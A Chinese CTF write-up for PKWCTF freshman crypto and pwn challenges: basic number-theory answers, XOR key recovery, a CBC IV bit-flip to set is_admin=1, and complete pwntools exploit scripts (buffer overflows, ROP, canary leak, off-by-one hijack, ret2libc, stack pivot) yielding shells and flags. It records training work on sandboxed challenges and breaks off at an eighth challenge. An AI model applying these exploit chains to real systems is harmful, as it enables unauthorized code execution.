PKWCTF新生CRYPTO和PWN-“看看就好”

admin 2026-09-28 05:05:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为PKWCTF新生赛CRYPTO方向题目的Writeup,涵盖hex解码、单字节异或、模幂、模逆、GCD、中国剩余定理、RSA解密、线性同余发生器及离散对数等密码学基础题解,并包含MioCrypt逆向分析案例,通过已知明文前缀恢复XOR密钥破解RSA保护的加密流程,内容详实,具备实操参考价值。 综合评分: 85 文章分类: CTF,逆向分析,密码学


PKWCTF新生CRYPTO和PWN-“看看就好”

原创

opis opis

玄网安全

2026年9月27日 18:02 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

CRYPTO1:PKWSEC 入职考核机

PKWSEC 前总裁呆呆鸟退休前,把自己最心爱的自动贩卖机拆了,焊上键盘和一台小电脑,
撂下一句话:「想喝免费咖啡?先证明你懂密码学。」

现任总裁小栗子把它接进了入职流程 —— 连续答对 5 道题,才能领到工牌。

提示:题目参数每次连接都会重新随机生成,建议写脚本自动作答
================= 进度 0/5 =================
[1] 编码:把下面这串 hex 还原成 ASCII 字符串(16 字节)
    —— fusheng 出的签到题,他说这题纯送分,别客气。
    hex = 6f78396c66776b69347a6279316e6467
答案(剩余 2 次机会)> ox9lfwki4zby1ndg
正确!当前进度 1/5    机器吐给你一颗糖。

================= 进度 1/5 =================
[2] 单字节异或:已知密钥 k,密文为每字节与 k 异或的结果
    —— shuyao 的异或课:他说异或是最有对称美的一种运算。
    k = 0x7d
    密文(hex) = 1f134b10490b454f0a4918494e4d1a0944451345491c4f05
    求明文字符串
答案(剩余 2 次机会)> bn6m4v82w4e430gt98n84a2x
正确!当前进度 2/5    fusheng 鼓起了掌。

================= 进度 2/5 =================
[3] 模幂:计算 (a ** b) mod m,输出十进制
    —— mermer 的日常:他每天都在算大数,这点指数不算什么。
    a = 1211703764828198826
    b = 4635508636593572535
    m = 15830182632262215523
答案(剩余 2 次机会)> 12866160111427816989
正确!当前进度 3/5    小栗子 点了点头。

================= 进度 3/5 =================
[4] 模逆:求 a 在模 m 下的乘法逆元 x(即 a*x ≡ 1 (mod m)),输出十进制
    —— kine 的模逆题:他说万物皆有逆,除了零。
    a = 15104452165362541115
    m = 16681860437757232583
答案(剩余 2 次机会)> 6786501580576316062
正确!当前进度 4/5    机器吐给你一颗糖。

================= 进度 4/5 =================
[5] 最大公约数:求 gcd(a, b),输出十进制
    —— CQ 的压轴题:他扫一眼就看出了这两个数的共同点。
    a = 13260943593283427384624421145709575511631479
    b = 14880387596837161498089919095155979614474415
答案(剩余 2 次机会)> 3973022163415887369527
正确!当前进度 5/5    机器吐给你一颗糖。

============================================================
  全部正确!flag: PKWCTF{33f5fb74-56cf-4553-a64a-3068e4d5e5c3}
  机器哗啦啦吐出一张工牌,上面印着你的名字。
                 —— 欢迎加入 PKWSEC ——

CRYPTO2:PKWSEC 核心密钥室

================= 进度 0/5 =================
[1] 中国剩余定理:求下列同余方程组的最小非负解 x,输出十进制
    —— doracat 的第一关:她说三个条件同时满足,才算合格员工。
    x ≡ 536556246666 (mod 554179328293)
    x ≡ 129256391472 (mod 1096778334539)
    x ≡ 654983931676 (mod 1051358679433)
答案(剩余 2 次机会)> 168463883481497286730527
正确!当前进度 1/5    F1iAz 说:可以啊。

================= 进度 1/5 =================
[2] RSA 解密:已知
    —— F1iAz 的 RSA 题:他当年就是靠这道题混进 PKWSEC 的。
    p = 9640323801201462836858957919841547361781985704950865422054035748946416214989998783547348784383960654271312280310902795922633374780751174465915561361066781
    q = 13268544690055021916828149881179076708799299815264625973662107612779803545439783429248960301124732628783096169746332307307692935062713570604630337179235543
    e = 65537
    c = 83264481333410195356690037364757695913687046308168091404814065051422928211808297594427725354571663463659916829183973785687268443442051733766058404917668375202036086842930175884243195058376088490518929733733119057505802498116447735207236445542630551124417130770726214587772221215686657123094483437289142898456
    求明文 m 的十进制
答案(剩余 2 次机会)> 10854744611752971901
正确!当前进度 2/5    终端叮了一声。

================= 进度 2/5 =================
[3] 已知 n 为两个素数之积,且这两个素数非常接近(|p-q| < 2**48):
&nbsp; &nbsp; —— 小栗子 总裁亲笔:她在会上抱怨过,这两个素数挨得太近了。
&nbsp; &nbsp; n = 112169889422786127886085109611092173621087048173256896312110047896540161119801793938978248826734951320229760912650985071835027913578020594641515580119874585510579931832708387516585343023788972007724630412295057984527791482591491536877919538740789491538994512447773884392518006890446328543422826538418387816581
&nbsp; &nbsp; 求较小的那个素因子(十进制)
答案(剩余 2 次机会)> 10591028723537016632392562474010104950295485790483940302099942354126013695265768793131604702393418236562440415609082389834843373385967234170943717111202289
正确!当前进度 3/5 &nbsp; &nbsp;门缝里透出一点光。

================= 进度 3/5 =================
[4] 线性同余发生器:x(n+1) = (a * x(n) + c) mod m,m 为素数,a、c 未知
&nbsp; &nbsp; —— CQ 的随机数事故:他坚称公司的抽奖系统绝对没有问题。
&nbsp; &nbsp; m = 294725121600051755897763632239859325019
&nbsp; &nbsp; 已知连续 6 个输出:
&nbsp; &nbsp; &nbsp; x1 = 177608666145955385322272495269289072471
&nbsp; &nbsp; &nbsp; x2 = 3088001938766351142233015679104560833
&nbsp; &nbsp; &nbsp; x3 = 252108791108207782509896279745623255624
&nbsp; &nbsp; &nbsp; x4 = 180840418850533958649538309695638549497
&nbsp; &nbsp; &nbsp; x5 = 63090940173652650774095642593147016729
&nbsp; &nbsp; &nbsp; x6 = 116663276120719787837980610337564270584
&nbsp; &nbsp; 求 x7(十进制)
答案(剩余 2 次机会)> 98637147492321100510993296755737685489
正确!当前进度 4/5 &nbsp; &nbsp;终端叮了一声。

================= 进度 4/5 =================
[5] 离散对数:已知 p, g, h = (g ** x) mod p,且 0 <= x < 2**32
&nbsp; &nbsp; —— 呆呆鸟 的压轴题:他留的纸条上写着「这个 x 不难猜,真的」。
&nbsp; &nbsp; p = 13339068884369904119
&nbsp; &nbsp; g = 1133264052910677720
&nbsp; &nbsp; h = 6720586205707086146
&nbsp; &nbsp; 求 x(十进制)
答案(剩余 2 次机会)> 3751386232
错误。CQ 说:要不……再想想?
答案(剩余 1 次机会)> 3751437192
正确!当前进度 5/5 &nbsp; &nbsp;终端叮了一声。

============================================================
&nbsp; 全部正确!flag: PKWCTF{d779f2ba-ae51-4bee-a932-f3891d8f0d39}
&nbsp; 密钥室的门开了,呆呆鸟的工位上落着一层灰。
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;—— 恭喜,这里归你了 ——

CRYPTO3:MioCrypt

flag 文件是 MIOCRYPT + RSA-2048 密文 + 8 字节循环 XOR 密文。RSA 只保护 XOR 密钥,已知 flag 前缀 PKWCTF{ 即可恢复 7 字节密钥,最后 1 字节爆破得到 flag。

解题过程

第 1 步:确认文件结构

MioCrypt.zip 内有 MioCrypt/flag(299 字节)和 MioCrypt/MioCrypt.exe。flag 开头是 ASCII MIOCRYPT,后面不是再跟一个版本字节。

| 偏移 | 长度 | 内容 | | — | — | — | | 0x000 | 8 | MIOCRYPT | | 0x008 | 256 | RSA-2048 密文 | | 0x108 | 35 | 循环 XOR 密文 |

XOR 密文:

57b0601c9c798be833905800b20b9bfd588b0326977299fd44930331970eafd941b84a

程序用 RDRAND 生成 8 字节随机密钥,再用 RSA-2048(e = 0x10001)加密该密钥,同时用同一密钥对 flag 做 data[i] ^= key[i % 8]。RSA 本身不需要分解:密钥只有 8 字节,而且直接参与了已知格式明文的循环 XOR。

第 2 步:已知前缀恢复密钥并解密

用 PKWCTF{ 与密文前 7 字节异或,得到密钥前 7 字节 07 fb 37 5f c8 3f f0。第 8 字节遍历 0x00–0xff,保留以 PKWCTF{ 开头、以 } 结尾且全部可打印的结果。唯一语义完整的明文对应 key[7] = 0x92。

import&nbsp;zipfile

with&nbsp;zipfile.ZipFile(r"C:\Users\34645\Downloads\MioCrypt.zip")&nbsp;as&nbsp;z:
&nbsp; &nbsp; data = z.read("MioCrypt/flag")

assert&nbsp;data[:8] ==&nbsp;b"MIOCRYPT"
xor_ct = data[8&nbsp;+&nbsp;256:]
prefix =&nbsp;b"PKWCTF{"

key = bytearray(xor_ct[i] ^ prefix[i]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(7))
key.append(0)

for&nbsp;last&nbsp;in&nbsp;range(256):
&nbsp; &nbsp; key[7] = last
&nbsp; &nbsp; plain = bytes(c ^ key[i %&nbsp;8]&nbsp;for&nbsp;i, c&nbsp;in&nbsp;enumerate(xor_ct))
&nbsp; &nbsp;&nbsp;if&nbsp;(
&nbsp; &nbsp; &nbsp; &nbsp; plain.startswith(b"PKWCTF{")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp;plain.endswith(b"}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp;all(32&nbsp;<= c <&nbsp;127&nbsp;for&nbsp;c&nbsp;in&nbsp;plain)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp;b"Mio"&nbsp;in&nbsp;plain
&nbsp; &nbsp; ):
&nbsp; &nbsp; &nbsp; &nbsp; print(bytes(key).hex())
&nbsp; &nbsp; &nbsp; &nbsp; print(plain.decode())

输出:

07fb375fc83ff092
PKWCTF{z4ko_z4ko_p4y_MioCh4n_1_KFC}

CRYPTO4:Lucky Machine

提示里有两句关键的话:

“lucky since 1990”
ticket 都在 0 … 2³¹−1 之间
1990 年的 C 标准库随机数就是 glibc 的 TYPE_0:

[ x_{n+1} = (1103515245 \cdot x_n + 12345) \bmod 2^{31} ]

root@opis:/mnt/c/Users/34645# nc nc1.ctfplus.cn 21399

&nbsp;____ &nbsp;_ &nbsp;____ &nbsp; &nbsp; &nbsp; &nbsp;______ _____ _____
| &nbsp;_ \| |/ /\ \ &nbsp; &nbsp; &nbsp;/ / ___|_ &nbsp; _| &nbsp;___|
| |_) |&nbsp;' / &nbsp;\ \ /\ / / | &nbsp; &nbsp; | | | |_
| &nbsp;__/| . \ &nbsp; \ V &nbsp;V /| |___ &nbsp;| | | &nbsp;_|
|_| &nbsp; |_|\_\ &nbsp; \_/\_/ &nbsp;\____| |_| |_|

Welcome to PKW Lucky Machine!
Hehe says the machine has been lucky since 1990.
mio listens to the gears and counts the rhythm.
Guests may print tickets. Admins must enter the next code.

[1] Print a guest ticket
[2] Guess next admin code
[3] Walk away
> 1
guest_ticket = 439810970

[1] Print a guest ticket
[2] Guess next admin code
[3] Walk away
>
ticket = int(input("guest_ticket = "))
print((1103515245 * ticket + 12345) & 0x7FFFFFFF)

CRYPTO5:Campus Radio

用 [2] 拿到 admin 密文,长度 63 字节。
用 [1] 提交同样长度的已知明文 A×63,得到对应密文。
密钥流 = 用户密文 XOR A,admin 明文 = admin 密文 XOR 密钥流。
解出 admin broadcast => PKWCTF{...},再用 [3] 交回去确认。

CRYPTO6:Campus Pass

核心:分析token

root@opis:/mnt/c/Users/34645# nc nc1.ctfplus.cn 26488

&nbsp;____ &nbsp;_ &nbsp;____ &nbsp; &nbsp; &nbsp; &nbsp;______ _____ _____
| &nbsp;_ \| |/ /\ \ &nbsp; &nbsp; &nbsp;/ / ___|_ &nbsp; _| &nbsp;___|
| |_) |&nbsp;' / &nbsp;\ \ /\ / / | &nbsp; &nbsp; | | | |_
| &nbsp;__/| . \ &nbsp; \ V &nbsp;V /| |___ &nbsp;| | | &nbsp;_|
|_| &nbsp; |_|\_\ &nbsp; \_/\_/ &nbsp;\____| |_| |_|

Welcome to PKW Campus Pass!
MitCha registers clean student passes.
F1iAz says encrypted tokens still need a seal.
Normal passes are marked as ordinary users.

[1] Register and get pass token
[2] Show profile from token
[3] Get flag with token
[4] Exit
> 1
username = aaa
token = SP2mfJREHbvY5IBOgkpXqLkx3K7immmP6BhrE8TDazj8VPfXEQZItEGZ3pSGQbDt

[1] Register and get pass token
[2] Show profile from token
[3] Get flag with token
[4] Exit
> 1
username = aaaaaa
token = zJoz7b7-CAYz4-ntWjQPKUzu9bFxZSatr5JSIz1x0e_j86B55nBsNxf_fmGliaZeUtHVG0N045EJ3dM1yH8W7g==

[1] Register and get pass token
[2] Show profile from token
[3] Get flag with token
[4] Exit
>
Base64 解码后是 64 字节,按 16 字节一块:

IV &nbsp;cc9a33edbefe080633e3e9ed5a340f29
C0 &nbsp;4ceef5b1716526adaf9252233d71d1ef
C1 &nbsp;e3f3a079e6706c3717ff7e61a589a65e
C2 &nbsp;52d1d51b4374e39109ddd335c87f16ee
明文是下面这个格式,补齐到 48 字节:

name=<用户名>;is_admin=0;uid=1001;

要点:Token 是 IV || AES-CBC(name=用户名;is_admin=0;uid=1001;)。用户名为空时,第一块正好是

name=;is_admin=0 0 在 IV 的最后一个字节。把它异或 1,明文就变成 is_admin=1

Token 的结构是 IV || C0 || C1 || ...,明文格式是 name=<用户名>;is_admin=0;uid=1001;。在 CBC 模式下,第一块明文由 IV 异或解密结果得到:

P0 = Dec(C0) XOR IV
所以只改 IV 的某一个字节,就只会改第一块明文里同一位置的那一个字节,后面的块完全不受影响。用户名必须留空,这样第一块正好 16 字节:

name=;is_admin=0
那个 0 正好落在最后一个字节,对应 IV 的第 16 字节。0 的 ASCII 是 0x30,异或 1 就变成 0x31,也就是字符 1。明文因此从 is_admin=0 变成 is_admin=1,而后面的 ;uid=1001; 保持原样。

PWN1:Lost Ruins Terminal

nc 链接就行

PKWCTF{ca4fe844-7fed-46cf-874c-030cabf889db}

PWN2:Light Forest

64 位 ELF,无 canary、No PIE、NX、Partial RELRO。gets 溢出返回地址,直接调用二进制里的 restore_light,即 system("/bin/sh")。

远程:nc1.ctfplus.cn 23826

解题过程

第 1 步:定位溢出和目标函数

checksec:No PIE、No canary、NX、Partial RELRO。

漏洞函数把缓冲区放在 rbp-0x20,调用 gets。返回地址在 rbp+8,填充长度是 0x28。

restore_light(0x40117c)执行 system("/bin/sh")。system 内部的 movaps 要求栈 16 字节对齐,所以返回地址前先放一个 ret(0x40101a)。

第 2 步:打远程

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*

context.binary =&nbsp;"./challenge"
context.log_level =&nbsp;"info"

RET =&nbsp;0x40101A
RESTORE =&nbsp;0x40117C

io = remote("nc1.ctfplus.cn",&nbsp;23826)
io.sendlineafter(b"name:",&nbsp;b"A"&nbsp;*&nbsp;0x28&nbsp;+ p64(RET) + p64(RESTORE))
io.sendline(b"cat flag")
io.interactive()
PKWCTF{92cd74f5-f331-457b-8c19-912e84d6cc71}

PWB3:Silent Ruins

64 位 ELF,无 canary、No PIE、NX、Partial RELRO。read 溢出返回地址后,用 pop rdi; ret 把 .rodata 里的 /bin/sh 传给 system@plt。

远程:nc1.ctfplus.cn 32503

解题过程

第 1 步:定位溢出和 gadget

程序先打印一个栈地址(Ancient Coordinate),随后 read(0, rbp-0x40, 0xc8)。缓冲区到返回地址的偏移是 0x48。

可用地址都是固定的:

| 用途 | 地址 | | — | — | | ret (栈对齐) | 0x40101a | | pop rdi; ret | 0x401195 | | "/bin/sh" | 0x402004 | | system@plt | 0x401040 |

不需要题目附带的 libc。pop rdi 本身在函数序言中间,后面紧跟 ret。

第 2 步:打远程

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*

context.binary =&nbsp;"./challenge"
context.log_level =&nbsp;"info"

RET =&nbsp;0x40101A
POP_RDI =&nbsp;0x401195
BINSH =&nbsp;0x402004
SYSTEM =&nbsp;0x401040

io = remote("nc1.ctfplus.cn",&nbsp;32503)
payload = flat(b"A"&nbsp;*&nbsp;0x48, RET, POP_RDI, BINSH, SYSTEM)
io.sendafter(b"path:", payload)
io.sendline(b"cat flag")
io.interactive()
PKWCTF{6bfe7d1f-920c-4f23-ae42-a3c680a5bf4a}

PWN4:小虎鲸餐厅3

64 位 ELF,无 canary、No PIE、NX、Partial RELRO。克数用 int 读入,检查时只看低字节。输入 256 能通过 <= 64,但 read 仍按 256 字节拷贝,溢出后调用 system("cat flag")。

远程:nc1.ctfplus.cn 32567

解题过程

第 1 步:低字节检查被绕过

程序用 scanf 读入克数,存成 4 字节整数,再把最低字节拿出来和 0x40 比较:

int&nbsp;n = read_int();
if&nbsp;((unsigned&nbsp;char)n >&nbsp;64) { fail();&nbsp;return; }
read(0, buf, n); &nbsp;&nbsp;// buf 在 rbp-0x50,长度仍是完整的 n

256 的低字节是 0,检查通过,read 的长度却是 256。缓冲区在 rbp-0x50,返回地址偏移为 0x58。

serve(0x401196)是 system("cat flag"),不需要自己找 /bin/sh。前面加 ret(0x40101a)对齐栈。

第 2 步:打远程

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*

context.binary =&nbsp;"./attachment"
context.log_level =&nbsp;"info"

RET =&nbsp;0x40101A
SERVE =&nbsp;0x401196

io = remote("nc1.ctfplus.cn",&nbsp;32567)
io.sendlineafter(b":",&nbsp;b"256")
payload =&nbsp;b"A"&nbsp;*&nbsp;0x58&nbsp;+ p64(RET) + p64(SERVE)
io.sendafter(b":", payload)
print(io.recvrepeat(2))
io.close()
PKWCTF{ab05ed88-f512-4f21-9ab3-95542a52a84f}

PWN5:pkwterminal

64 位 PIE ELF,Full RELRO、NX、无 canary,远程 libc 为 Ubuntu glibc 2.27-3ubuntu1.5。利用两处 read(len+1) 的单字节溢出改函数指针:先泄露 PIE,再打开全局管理员标志,最后用 Root task 的栈溢出打 ret2libc。

远程:nc1.ctfplus.cn 24851

解题过程

第 1 步:两个 off-by-one

read_n(buf, n) 实际执行 read(fd, buf, n+1),多出来的 1 字节不会在换行处停下。

登录后选 1. Edit note。note 写在 user+8,长度参数是 0x50,第 0x51 字节落在 user+0x58 的 is_admin。写成 1 后,选项 4 才会进入任务菜单。此时全局 is_admin(0x5270)仍是 0,还不能创建 Root task。

任务槽步长 0x60:buf[0x50] + 函数指针 + done。describe 从 0x4040 起读 0x51 字节,多出的那一字节正好覆盖本槽函数指针的最低字节。show-time、泄露、写日志、特权日志这几个函数的次低字节都是 0x14,改 1 字节就够;Root task 在 0x1533,次低字节是 0x15,不能靠这一字节跳过去。

| 函数 | 偏移 | 低字节改成 | 作用 | | — | — | — | — | | show-time | 0x145a | 创建时写入 | puts("1145141919810") | | leak | 0x1474 | 0x74 | printf("%p\n", 0x1474) ,泄露 PIE | | privileged log | 0x14dc | 0xdc | read_n(0x5240, 0x30) ,第 0x31 字节写到全局 is_admin | | root task | 0x1533 | 不能单字节跳到 | read(rbp-0x40, 0x300) |

必须 describe 和 execute 同一个槽。改槽 0 再执行槽 1,函数指针没变,仍会打印 1145141919810。

第 2 步:Root task 上的 ret2libc

全局 is_admin 置 1 后可以创建 type 3。Root task 把输入读到 rbp-0x40,最多 0x300 字节,返回地址在偏移 0x48。

二进制里有连续 gadget:

0x1ce1: pop rdi; ret
0x1ce3: pop rsi; ret
0x1ce5: pop rdx; ret

第一段返回到 puts(puts@GOT),再回到任务菜单 0x1a89。puts 前面会多吐一个空行,要跳过空行再解析地址。

puts 偏移 0x80970,system 偏移 0x4f420,/bin/sh 偏移 0x1b3d88,对应 libc-2.27.so(2.27-3ubuntu1.5)。远程基址按这个减出来是页对齐的,和附件一致。第二段加一个 ret 对齐后调用 system("/bin/sh")。槽 1 执行后被标成 done,第二段换槽 2。

第 3 步:打远程

依赖同目录的 pwn.patched(只用于 pwntools 解析 ELF)和 libc-2.27.so。

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*

context.binary = ELF("./pwn.patched", checksec=False)
context.log_level =&nbsp;"info"
LIBC = ELF("./libc-2.27.so", checksec=False)

LEAK, PRIV =&nbsp;0x1474,&nbsp;0x14DC
POP_RDI, RET =&nbsp;0x1CE1,&nbsp;0x1CE2
PUTS_PLT, PUTS_GOT, ROOT_MENU =&nbsp;0x1020,&nbsp;0x3FC0,&nbsp;0x1A89

def&nbsp;menu(io, choice):
&nbsp; &nbsp; io.sendlineafter(b"Your choice: ", str(choice).encode())

def&nbsp;task_menu(io, choice):
&nbsp; &nbsp; io.sendlineafter(b"Choose your option: ", str(choice).encode())

def&nbsp;create(io, typ, slot):
&nbsp; &nbsp; task_menu(io,&nbsp;1)
&nbsp; &nbsp; io.sendlineafter(b"Task type: ", str(typ).encode())
&nbsp; &nbsp; io.sendlineafter(b"Save in slot (0-47): ", str(slot).encode())

def&nbsp;delete(io, slot):
&nbsp; &nbsp; task_menu(io,&nbsp;2)
&nbsp; &nbsp; io.sendlineafter(b"Task slot to delete (0-47): ", str(slot).encode())

def&nbsp;hijack(io, slot, low):
&nbsp; &nbsp; task_menu(io,&nbsp;3)
&nbsp; &nbsp; io.sendlineafter(b"Task slot to describe (0-47): ", str(slot).encode())
&nbsp; &nbsp; io.sendafter(b"Input the task description:",&nbsp;b"C"&nbsp;*&nbsp;0x50&nbsp;+ bytes([low]))

def&nbsp;execute(io, slot):
&nbsp; &nbsp; task_menu(io,&nbsp;4)
&nbsp; &nbsp; io.sendlineafter(b"Task slot to execute (0-47): ", str(slot).encode())

io = remote("nc1.ctfplus.cn",&nbsp;24851)
io.sendlineafter(b"Enter your name: ",&nbsp;b"admin")
menu(io,&nbsp;1)
io.sendafter(b"Enter your note: ",&nbsp;b"A"&nbsp;*&nbsp;0x50&nbsp;+&nbsp;b"\x01")
menu(io,&nbsp;4)

create(io,&nbsp;1,&nbsp;0)
hijack(io,&nbsp;0, LEAK &&nbsp;0xFF)
execute(io,&nbsp;0)
io.recvuntil(b"0x")
pie = int(io.recvline().strip(),&nbsp;16) - LEAK

delete(io,&nbsp;0)
create(io,&nbsp;1,&nbsp;0)
hijack(io,&nbsp;0, PRIV &&nbsp;0xFF)
execute(io,&nbsp;0)
io.sendafter(b"Input your privileged log:",&nbsp;b"D"&nbsp;*&nbsp;0x30&nbsp;+&nbsp;b"\x01")

create(io,&nbsp;3,&nbsp;1)
rop = flat(pie + POP_RDI, pie + PUTS_GOT, pie + PUTS_PLT, pie + ROOT_MENU)
execute(io,&nbsp;1)
io.sendafter(b"Root task input:",&nbsp;b"E"&nbsp;*&nbsp;0x48&nbsp;+ rop)

leak =&nbsp;b""
while&nbsp;not&nbsp;leak:
&nbsp; &nbsp; leak = io.recvline().strip()
puts = u64(leak.ljust(8,&nbsp;b"\x00"))
libc = puts - LIBC.symbols["puts"]
system = libc + LIBC.symbols["system"]
binsh = libc + next(LIBC.search(b"/bin/sh\x00"))

rop = flat(pie + RET, pie + POP_RDI, binsh, system)
create(io,&nbsp;3,&nbsp;2)
execute(io,&nbsp;2)
io.sendafter(b"Root task input:",&nbsp;b"F"&nbsp;*&nbsp;0x48&nbsp;+ rop)
io.sendline(b"cat flag")
io.interactive()
PKWCTF{04d0b6b0-9d79-4467-9034-e494bc43ccc5}

PWN6:Withered Tree

64 位 ELF,有 canary、No PIE、NX、Partial RELRO。第一次输入进了 printf,用 %23$p 泄露 canary;第二次 read 溢出,写回 canary 后调用 awaken_tree,即 system("/bin/sh")。.rodata 里的 flag{this_is_fake} 是诱饵。

远程:nc1.ctfplus.cn 39155

解题过程

第 1 步:格式化字符串泄露 canary

预言输入读入 rbp-0x90 处的 0x40 字节缓冲区,随后 printf(buf)。canary 在 rbp-8,对这次 printf 来说是第 23 个参数,%23$p 可以直接打出。

第 2 步:带 canary 的栈溢出

第二次是 read(0, rbp-0x50, 0x100):

| 偏移 | 内容 | | — | — | | 0x48 | canary | | 0x50 | saved rbp | | 0x58 | 返回地址 |

awaken_tree(0x4011ff)执行 system("/bin/sh")。同样先放 ret(0x40101a)对齐栈。

第 3 步:打远程

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*

context.binary =&nbsp;"./challenge"
context.log_level =&nbsp;"info"

RET =&nbsp;0x40101A
AWAKEN =&nbsp;0x4011FF

io = remote("nc1.ctfplus.cn",&nbsp;39155)
io.sendlineafter(b":",&nbsp;b"%23$p")
io.recvuntil(b"0x")
canary = int(io.recvline().strip(),&nbsp;16)
log.success(f"canary =&nbsp;{hex(canary)}")

payload =&nbsp;b"A"&nbsp;*&nbsp;0x48&nbsp;+ p64(canary) +&nbsp;b"B"&nbsp;*&nbsp;8&nbsp;+ p64(RET) + p64(AWAKEN)
io.sendafter(b":", payload)
io.sendline(b"cat flag")
io.interactive()
PKWCTF{600a0627-0e53-432b-b83d-4d33ac2f3df1}

PWN7:小虎鲸餐厅2

64 位、无 PIE、无 canary、Partial RELRO。cook 用两次 read 分别写 pantry 末尾和栈上缓冲区,结尾是 leave; ret。溢出只能覆盖保存的 rbp 和返回地址,所以先把栈迁到 pantry,再 read 一段更长的链到 BSS 后面的可写页,调用 system("cat flag")。

解题过程

漏洞在 cook(0x401156):

  1. read(0, pantry+0xf00, 0x100),pantry+0xf00 = 0x404f80,这一段完全可控。
  2. read(0, rbp-0x20, 0x30),缓冲区只有 0x20,正好覆盖保存的 rbp 和返回地址,写不到 rbp+0x10。
  3. 无条件 puts 失败提示,然后 leave; ret(0x40125b)。

leave 是 mov rsp, rbp; pop rbp。一次 leave 只把 rbp 换成溢出写进去的地址,rsp 仍在原栈上。把返回地址指回 0x40125b,第二次 leave 才执行 rsp = 0x404f80,并弹出第一个 qword 作为新 rbp,真正的链从 0x404f88 开始。

这条短链不能直接调 system。do_system 先压 6 个寄存器再 sub rsp, 0x388,入口 rsp 一共下降 0x3b8。链若放在 0x404f80,帧会落到 pantry 以下的只读映射。0x405000–0x406000 是紧挨 BSS 的匿名可写页,所以第一段链只做:

read(0, 0x405200, 0x200)
pop rsp ; ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 新 rsp = 0x405200

pop rsp 会吃掉 0x405200 处的第一个 qword,第二段从 0x405208 执行。开头放一条 ret,使进入 system 时 rsp ≡ 8 (mod 16),否则 do_system+0x73 的 movaps 会 SIGSEGV。参数用 .rodata 里现成的 "cat flag"(0x4021d9),后面接 exit(0)。

程序用 printf("%p") 泄漏 stdout。附带 glibc 2.35 的可写段被重定位到比 ELF 虚拟地址低 0x1000 的位置,符号值 0x21b868 不是运行时偏移。实测 stdout - libc_base = 0x21b780(低 12 位恒为 0x780)。少减这一页会把 gadget 跳进指令中间,触发 SIGILL。

gadget 相对加载基址的偏移:

| gadget | offset | | — | — | | pop rdi ; ret | 0x2a3e5 | | pop rsi ; ret | 0x2be51 | | pop rdx ; pop rbx ; ret | 0x90469 | | pop rsp ; ret | 0x35732 | | read | 0x114920 | | system | 0x50d70 | | exit | 0x455f0 |

[FAIL] This counter ran out of space... 在 leave 之前无条件打印,不代表利用失败。

第 1 步:打远程

pwntools 4.15.0。本地用题目附带的 ld 和 libc;远程直接连容器。

#!/usr/bin/env python3
import&nbsp;sys
from&nbsp;pwn&nbsp;import&nbsp;*

context.arch =&nbsp;"amd64"
context.log_level =&nbsp;"info"

BIN =&nbsp;"/mnt/c/Users/34645/Downloads/PWN/anywaydoor/attachment"
LD =&nbsp;"/mnt/c/Users/34645/Downloads/PWN/anywaydoor/libc/ld-linux-x86-64.so.2"
LIBDIR =&nbsp;"/mnt/c/Users/34645/Downloads/PWN/anywaydoor/libc"

STDOUT =&nbsp;0x21B780
POP_RDI =&nbsp;0x2A3E5
POP_RSI =&nbsp;0x2BE51
POP_RDX_RBX =&nbsp;0x90469
POP_RSP =&nbsp;0x35732
READ =&nbsp;0x114920
SYSTEM =&nbsp;0x50D70
EXIT =&nbsp;0x455F0

STOCK =&nbsp;0x404F80
STAGE2 =&nbsp;0x405200
LEAVE =&nbsp;0x40125B
RET =&nbsp;0x40101A
CATFLAG =&nbsp;0x4021D9

host = sys.argv[1]&nbsp;if&nbsp;len(sys.argv) >&nbsp;1&nbsp;else&nbsp;None
port = int(sys.argv[2])&nbsp;if&nbsp;len(sys.argv) >&nbsp;2&nbsp;else&nbsp;None
io = remote(host, port)&nbsp;if&nbsp;host&nbsp;else&nbsp;process(
&nbsp; &nbsp; [LD,&nbsp;"--library-path", LIBDIR, BIN], cwd="/tmp"
)

io.recvuntil(b"it is at ")
base = int(io.recvuntil(b"'", drop=True),&nbsp;16) - STDOUT
log.success(f"libc base =&nbsp;{base:#x}")

def&nbsp;lc(off):
&nbsp; &nbsp;&nbsp;return&nbsp;base + off

stage1 = flat(
&nbsp; &nbsp;&nbsp;0,
&nbsp; &nbsp; lc(POP_RDI),&nbsp;0,
&nbsp; &nbsp; lc(POP_RSI), STAGE2,
&nbsp; &nbsp; lc(POP_RDX_RBX),&nbsp;0x200,&nbsp;0,
&nbsp; &nbsp; lc(READ),
&nbsp; &nbsp; lc(POP_RSP), STAGE2,
)
io.sendafter(b"Stock the pantry: ", stage1.ljust(0x100,&nbsp;b"\x00"))
io.sendafter(b"Hand it to me: ",&nbsp;b"B"&nbsp;*&nbsp;0x20&nbsp;+ p64(STOCK) + p64(LEAVE))

stage2 = flat(
&nbsp; &nbsp; lc(POP_RDI),
&nbsp; &nbsp; RET,
&nbsp; &nbsp; lc(POP_RDI), CATFLAG,
&nbsp; &nbsp; lc(SYSTEM),
&nbsp; &nbsp; lc(POP_RDI),&nbsp;0,
&nbsp; &nbsp; lc(EXIT),
)
io.send(stage2.ljust(0x200,&nbsp;b"\x00"))
io.interactive()
python3 anywaydoor_exp.py nc1.ctfplus.cn 19850
[+] libc base = 0x7faf798f2000
[FAIL] CQ senior: 'This counter ran out of space...'
PKWCTF{f05b7cb5-4cfa-4c83-90d8-2fcd3869cdc3}

PWN8:小虎鲸协会 空气 (The Air)

root@opis:/mnt/c/Users/34645# nc nc1.ctfplus.cn 30393
=== Pygmy Killer Whale Association --- The Air ===
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;'I am not from your Association. I just collect'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;old machines -- somebody has to keep them alive.'
